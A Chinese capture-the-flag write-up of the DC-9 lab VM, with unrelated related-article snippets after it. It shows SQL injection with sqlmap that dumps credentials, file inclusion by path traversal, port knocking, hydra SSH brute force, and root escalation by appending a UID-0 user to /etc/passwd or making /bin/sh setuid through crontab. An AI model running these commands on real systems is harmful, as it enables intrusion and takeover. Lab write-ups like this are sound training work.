DC-9靶机

news2024/12/22 15:31:22

目录

DC-9靶场链接:

首先进行主机发现:

sqlmap注入:

文件包含:

端口敲门规则:

hydra爆破:

root提权:

方法一/etc/passwd:

​编辑

方法二定时任务crontab:


DC-9靶场链接:

https://download.vulnhub.com/dc/DC-9.zip

下载后解压会有一个DC-9.ova文件,直接在vm虚拟机点击左上角打开-->文件-->选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式

首先进行主机发现:

arp-scan -l

得知靶机ip为192.168.183.152

192.168.183.1   00:50:56:c0:00:08       (Unknown)

192.168.183.2   00:50:56:fc:0d:25       (Unknown)

192.168.183.152 00:0c:29:2b:2b:33       (Unknown)

192.168.183.254 00:50:56:fe:ac:e6       (Unknown)

4 packets received by filter, 0 packets dropped by kernel

Ending arp-scan 1.10.0: 256 hosts scanned in 1.853 seconds (138.15 hosts/sec). 4 responded

nmap扫描端口:                           

nmap -sV -p-  192.168.183.152  

开放80端口,22端口处于过滤状态

PORT   STATE    SERVICE VERSION

22/tcp filtered ssh

80/tcp open     http    Apache httpd 2.4.38 ((Debian))

MAC Address: 00:0C:29:2B:2B:33 (VMware)

dirsearch扫文件

dirsearch -u 192.168.183.152 -e * -i 200

Target: http://192.168.183.152/

[12:29:08] Starting:                                       

[12:29:18] 200 -    0B  - /config.php

[12:29:23] 200 -  409B  - /includes/

[12:29:26] 200 -  494B  - /manage.php

打开网页,一开始看到员工信息和登录页面那里,想到Cewl爬取/display.php网页信息做密码字典,把这页的员工名字和邮件名都复制进字典里做用户字典,用hydra爆破,但是hydra拒绝链接(当时还没留意到22的filter。。)

登录框尝试sql注入,

0' union select 1,2,3,4,5,6#		
0' union select 1,2,3,4,5,database()#		//数据库staff

sqlmap注入:

抓包的话能看见虽然登录页面是/search.php,但是包里的路径是/results.php

sqlmap抓数据库:

sqlmap -u "http://192.168.183.152/results.php" --data "search=bettyr" --dbs --dump

得到账户admin和密码transorbital1

Database: Staff

Table: Users

[1 entry]

+--------+--------------------------------------------------+----------+

| UserID | Password                                         | Username |

+--------+--------------------------------------------------+----------+

| 1      | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) | admin    |

+--------+--------------------------------------------------+----------+

继续收集别的用户密码:

sqlmap -u "http://192.168.183.152/results.php" --data "search=mary" --dbs --dump

 得到三个库:

[13:04:12] [INFO] fetching database names

available databases [3]:

[*] information_schema

[*] Staff

[*] users

 先看users库的:

sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users --tables     

 得到UserDetails表名:

[13:11:10] [INFO] fetching tables for database: 'users'

Database: users

[1 table]

+-------------+

| UserDetails |

+-------------+

查段名:

sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users -T UserDetails --colunms

接下来查username和password:

[13:12:12] [INFO] fetching columns for table 'UserDetails' in database 'users'

Database: users

Table: UserDetails

[6 columns]

+-----------+-----------------+

| Column    | Type            |

+-----------+-----------------+

| firstname | varchar(30)     |

| id        | int(6) unsigned |

| lastname  | varchar(30)     |

| password  | varchar(20)     |

| reg_date  | timestamp       |

| username  | varchar(30)     |

+-----------+-----------------+

查看字段:

sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump

得到用户名及密码:

Table: UserDetails

[17 entries]

+-----------+---------------+

| username  | password      |

+-----------+---------------+

| marym     | 3kfs86sfd     |

| julied    | 468sfdfsd2    |

| fredf     | 4sfd87sfd1    |

| barneyr   | RocksOff      |

| tomc      | TC&TheBoyz    |

| jerrym    | B8m#48sd      |

| wilmaf    | Pebbles       |

| bettyr    | BamBam01      |

| chandlerb | UrAG0D!       |

| joeyt     | Passw0rd      |

| rachelg   | yN72#dsd      |

| rossg     | ILoveRachel   |

| monicag   | 3248dsds7s    |

| phoebeb   | smellycats    |

| scoots    | YR3BVxxxw87   |

| janitor   | Ilovepeepee   |

| janitor2  | Hawaii-Five-0 |

+-----------+---------------+

文件包含:

先用admin的账户登录上去,看见底下的“File does not exist”

"File does not exist"的错误提示表明所引用的文件不存在。当尝试加载或访问本地文件时,如果文件路径不正确或文件确实不存在,系统会返回此错误。

根据经验参数很可能是file,?file=/etc/passwd没有成功,多加几个../跳转

http://192.168.183.152/manage.php?file=../../../../../etc/passwd

端口敲门规则:

服务器是Apache,试着包含一下配置文件,但是读不了配置文件和日志文件,也就无法和之前一样一句话木马上去。联想到ssh的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd的配置文件:

?file=../../../../etc/knockd.conf

端口敲门规则(Port Knocking)是一种网络安全技术,用于隐藏和保护服务器的开放端口。它是通过在特定的顺序中发送特定的数据包或连接请求来实现的。通常情况下,服务器的开放端口是可以直接访问的,这使得服务器容易受到恶意攻击。而端口敲门规则可以在不公开服务器实际开放端口的情况下,提供一种访问服务器的方法。

具体来说,端口敲门规则工作原理如下:

1、客户端向服务器发送一系列特定的数据包或连接请求,按照预定的顺序进行操作。

2、服务器上设置了一个监控程序,它会监听服务器接收到的数据包或连接请求。

3、当服务器接收到符合预定顺序的特定数据包或连接请求时,它会临时打开相应的端口,允许客户端访问服务器。

4、客户端在获得访问权限后,可以通过打开的端口与服务器进行通信,完成所需的操作。

端口敲门规则的好处在于隐藏了服务器的实际开放端口,增加了服务器的安全性。只有知道正确的敲门序列的客户端才能访问服务器,而其他人无法直接访问服务器的开放端口。

/etc/knockd.conf 文件是 Knockd 服务的配置文件,它用于指定 Knockd 敲门规则,Knockd 是一种端口伪装技术,可以通过在指定的端口序列上发送特殊的数据包来打开一个或多个防火墙规则以允许传入的连接请求通过。

在 /etc/knockd.conf 文件使用INI格式,其中包含以下主要部分:

  1. options:包含全局选项,如日志路径、PID文件路径等。
  2. control:包含Knockd控制服务的配置,如监听的IP地址和端口号等。
  3. sequence:该部分列出了要检查的端口序列,以及每个序列相关的配置,如打开的端口、打开端口的持续时间、使用哪个防火墙规则等。

配置文件的内容大概是(引用他人解释):

[options]

UseSyslog

[openSSH]

sequence = 7469,8475,9842   # 打开ssh 22访问的三个操作端口 ;

seq_timeout = 25

command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT  # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉

tcpflags = syn

[closeSSH]

sequence = 9842,8475,7469   # 关闭ssh 22访问的三个操作端口

seq_timeout = 25

command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来

tcpflags = syn

也就是说我们依次访问,打开操作的端口 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了

在kali中执行如下命令:

使用7469/8475/9842队列号敲门登录:

nmap -p 7469 192.168.183.152

nmap -p 8475 192.168.183.152

nmap -p 9842 192.168.183.152

或者加快命令的输入速度也可以写个python的 for in 循环来访问,如下:

for x in 7469 8475 9842; do nmap -p $x 192.168.183.152; done

hydra爆破:

现在可以ssh登录了,再次尝试hydra爆破,把刚刚sqlmap搞出来的用户名放一个文件user.txt,密码放一个文件passwd.txt,然后开始爆破

hydra -L user.txt -P passwd.txt ssh://192.168.183.152

用户名:

janitor2

janitor

phoebeb

monicag

rossg

joeyt

chandlerb

fredf

密码:

3kfs86sfd    

468sfdfsd2    

4sfd87sfd1    

RocksOff     

TC&TheBoyz 

B8m#48sd  

Pebbles    

BamBam01   

UrAG0D!   

Passw0rd    

yN72#dsd      

ILoveRachel  

3248dsds7s    

smellycats   

YR3BVxxxw87   

Ilovepeepee

Hawaii-Five-0

得到 login: janitor   password: Ilovepeepee  

远程登录:

ssh janitor@192.168.183.152

janitor用户目录下有隐藏目录.secrets-for-putin里面有隐藏的密码文件,做成字典再次hydra爆破

得到一组新账户:用户:fredf,密码: B4-Tru3-001

登录后sudo -l查看具有root权限的文件,里面躺着一个test,这个路径的向上两级能看到test.py

cat test.py

脚本内容:

#!/usr/bin/python

import sys   #包含sys后 才能用sys.argv

if len (sys.argv) != 3 :   #sys.argv[1] 是文件本身

    print ("Usage: python test.py read append")

    sys.exit (1)

else :

    f = open(sys.argv[1], "r") # r 以只读方式打开文件。文件的指针都放在文件开头。这是默认模式。

    output = (f.read())

    f = open(sys.argv[2], "a") # a 打开一个文件用于追加。如果文件已存在,则文件的指针在文件结尾,若文件不存在,则创建新文件并写入。

    f.write(output) #写入内容

    f.close() # 关闭 

只能往里面传2个参数,2个参数应该都是文件名,把第一个文件的内容以追加方式写进第二个文件里。

root提权:

方法一/etc/passwd:

openssl passwd -1 -salt yonghu 123456

其中,-1 表示使用MD5算法进行加密,-salt yonghu 指定了一个盐值(salt),123456 是要加密的原始密码。执行该命令后,会生成一个经过加密的密码。

echo 'wxy:$1$wxy$LX4Sjq9tXylHPD/rMRRqA1:0:0:root:/bin/bash' > /tmp/se

将包含用户名和加密密码的字符串写入 /tmp/se 文件中。这个字符串中,wxy 是用户名,$1$wxy$LX4Sjq9tXylHPD/rMRRqA1 是经过加密的密码。其他部分是该用户的一些信息,例如用户ID、组ID、根目录和默认shell等。

 ./test /tmp/se /etc/passwd

执行名为 test 的可执行程序,并将 /tmp/se 文件中的账号密码信息写入 /etc/passwd 文件中

命令的目的是对密码进行加密,将用户名和加密密码写入一个临时文件,然后通过执行 test 程序将该临时文件中的账号信息写入系统的用户数据库 /etc/passwd 中,从而实现添加用户的操作。

然后登录该用户即可得到root权限

或者

perl -e 'print crypt("hack", "salt")' #saOlCG7b7vaGw

echo 'A1oe:saOlCG7b7vaGw:0:0::/root:/bin/bash' > /tmp/11.txt
sudo ./test /tmp/11.txt /etc/passwd
su A1oe

password:hack

方法二定时任务crontab:

echo "* * * * * root chmod 4777 /bin/sh" > /tmp/1.txt
/opt/devstuff/dist/test$ sudo ./test /tmp/1.txt /etc/crontab

flag在/root下面

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1326402.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ssm基于vue的厨房管理系统论文

摘 要 使用旧方法对厨房管理信息进行系统化管理已经不再让人们信赖了,把现在的网络信息技术运用在厨房管理信息的管理上面可以解决许多信息管理上面的难题,比如处理数据时间很长,数据存在错误不能及时纠正等问题。 这次开发的厨房管理系统管…

体育机构协会网站建设的作用是什么

体育运动项目很多,其体现形式主要是奥运会、马拉松、企业/学校/社会运动等,比如我们很常见的城市马拉松比赛,其背后是通过体育机构协会组织起来的,虽然不常被提起,但却有很高的热度。 1、品牌传播难 线下方式单一很难…

b站高可用架构 笔记

b站高可用架构 关键点:主机房,多活和多活机房 参考文章:bilibili技术总监毛剑:B站高可用架构实践 1. 前端和数据中心负载均衡 前端负载均衡(动态CDN):最近节点、带宽策略、可用服务容量 数据中心负载均衡:均衡流量、识别异常节…

大创项目推荐 深度学习 植物识别算法系统

文章目录 0 前言2 相关技术2.1 VGG-Net模型2.2 VGG-Net在植物识别的优势(1) 卷积核,池化核大小固定(2) 特征提取更全面(3) 网络训练误差收敛速度较快 3 VGG-Net的搭建3.1 Tornado简介(1) 优势(2) 关键代码 4 Inception V3 神经网络4.1 网络结构 5 开始训练5.1 数据集…

飞书+ChatGPT搭建智能AI助手,无公网ip实现公网访问飞书聊天界面

飞书ChatGPT搭建智能AI助手,无公网ip实现公网访问飞书聊天界面 前言环境列表1.飞书设置2.克隆feishu-chatgpt项目3.配置config.yaml文件4.运行feishu-chatgpt项目5.安装cpolar内网穿透6.固定公网地址7.机器人权限配置8.创建版本9.创建测试企业10. 机器人测试 前言 …

C#上位机与欧姆龙PLC的通信03----创建项目工程

1、创建仿真PLC 这是一款CP1H-X40DR-A的PLC,呆会后面创建工程的时候需要与这个类型的PLC类型一致,否则程序下载不到PLC上。 2、创建虚拟串口 首先安装,这个用来创建虚拟串口来模拟真实的串口,也就是上位机上有那种COM口&#xf…

【大数据实训】python石油大数据可视化(八)

2014到2020年石油加工产品产量数据处理分析 一、任务描述 石油是工业的命脉。 一直到2020年,我国原油产量基本处于平稳的状态,大部分原油来自国外进口;中国原油加工产量在华东、东北地区占比较大,华南地区相对较少。原油的加工…

独立站退款率太高会怎么样?如何解决独立站退款纠纷?——站斧浏览器

独立站退款率太高会怎么样? 当独立站的退款率过高时,可能会对卖家和平台产生一些负面影响: 信誉受损:退款率过高可能会导致卖家的信誉受损。买家在购物时通常倾向于选择评价好的卖家,高退款率可能会让卖家的评价下降…

二维相位展开问题(讨论针对不连续相位展开算法鲁棒性)

作者:Munther Gdeisat博士和Francis Lilley博士 先决条件:为了理解本教程,在阅读本文档之前,您必须已经学习并完成“一维相位展开问题”教程。 有许多应用程序可以生成包裹的相位图像。例如合成孔径雷达(SAR&#xf…

动态内存分配(malloc和free​、calloc和realloc​)

目录 一、为什么要有动态内存分配​ 二、C/C中程序内存区域划分​ 三、malloc和free​ 2.1、malloc 2.2、free​ 四、calloc和realloc​ 3.1、calloc​ 3.2、realloc​ 3.3realloc在调整内存空间的是存在两种情况: 3.4realloc有malloc的功能 五、常见的动…

软件工程--设计工程--学习笔记(软件设计原则、软件质量属性设计、架构风格......)

软件设计在软件工程中处于技术核心,其目的是把需求分析模型转变为设计模型,以知道软件的实现,本章讲解软件设计的基本原则和基本实践 本文参考教材:沈备军老师的《软件工程原理》 软件设计概述 软件设计分为两个阶段&#xff0…

Python之文件内容操作

文章目录 1、文件操作基本知识2、Open3、PathLib3.1、Pathlib—path.open3.2、Pathlib— pathByte.write_bytes/ pathByte.read_bytes 4、JSON5、二进制文件操作6、Excel、word 1、文件操作基本知识 按文件中数据的组织形式把文件分为文本文件和二进制文件两类。 文本文件&am…

文本生成精准图像字幕,谷歌等开源PixelLLM

传统的大语言模型可以描述、回答与图像相关的问题,甚至进行复杂的图像推理。但使用大型语言模型进行文本定位,或用图像指代准确坐标却不太行。 为了进行该技术的探索,谷歌和加州大学圣地亚哥分校的研究人员开发了像素对齐大语言模型——Pixe…

65 数学游戏

动态规划 #include <iostream> #include <vector>using namespace::std; using std::cout; using std::cin; vector<int> use;int dfs(int now,int maxChoosableInteger,int desiredTotal) {if(use[now] ! 0) {return use[now]1;}int res0;for(int imax…

代码审查工具FishEye详细使用教程

1. Git代码仓库设置 1、登录并进入到FishEye主页面&#xff0c;点击Repositories进入仓库管理页面&#xff0c;如下图&#xff1a; 2、填写仓库信息&#xff0c;如下图&#xff1a; 3、填写Git地址 http://gitAccount:gitPwd118.24.231.166:8080/git/git/iot-lvdao/iot-dhcc.…

TCAX特效字幕保姆入门教程+效果演示+软件源码自取

目录 介绍 下载链接 初步使用 软件使用 tcc文件介绍 tcc文件版本 模式设置 ​编辑 k值提供方式举例 特效脚本设置 主要设置 ass全局风格设置 额外设置 常见问题 编码使用 使用其他tcax博主的进行编码测试 介绍 TCAX是一款专门用于制作特效字幕的软件。通过TCAX…

【计算机网络】TCP协议——1.报文格式详解

前言 上篇讲解了UDP报文格式。TCP和UDP是同层协议&#xff0c;都属于传输层&#xff0c;数据来源于上层——应用层 目录 一. TCP协议概述 二. TCP报文格式 1. 两个问题 2. 确认号和序列号 3. 标志位字段 4. 窗口大小 5. 校验和字段 6. 紧急指针与紧急数据 7. 选项字…

secureCRT串口助手配置RS232和RS422

串口RS422配置如图 和RS422不同&#xff0c;串口RS232配置如图&#xff0c;否则会通信不正常。

Station_Map1221Update

1221 Polish 1. Transfer the road coordinates from the UE coordinates system into the CAD coordinates system by using the functions in the file INDEX2UE.py 坐标转换的时候&#xff0c;插值&#xff0c;取特征点&#xff08;交叉点&#xff09;Transfer the road c…

Nature自然杂志重磅:AI复现诺奖研究一次成功只需几分钟,Coscientist科学家的好助手

《Nature》是世界上历史悠久的、最有名望的科学杂志之一&#xff0c;首版于1869年11月4日。与当今大多数科学论文杂志专一于一个特殊的领域不同&#xff0c;其是少数依然发表来自很多科学领域的一手研究论文的杂志&#xff08;其它类似的杂志有《科学》和《美国科学院学报》等&…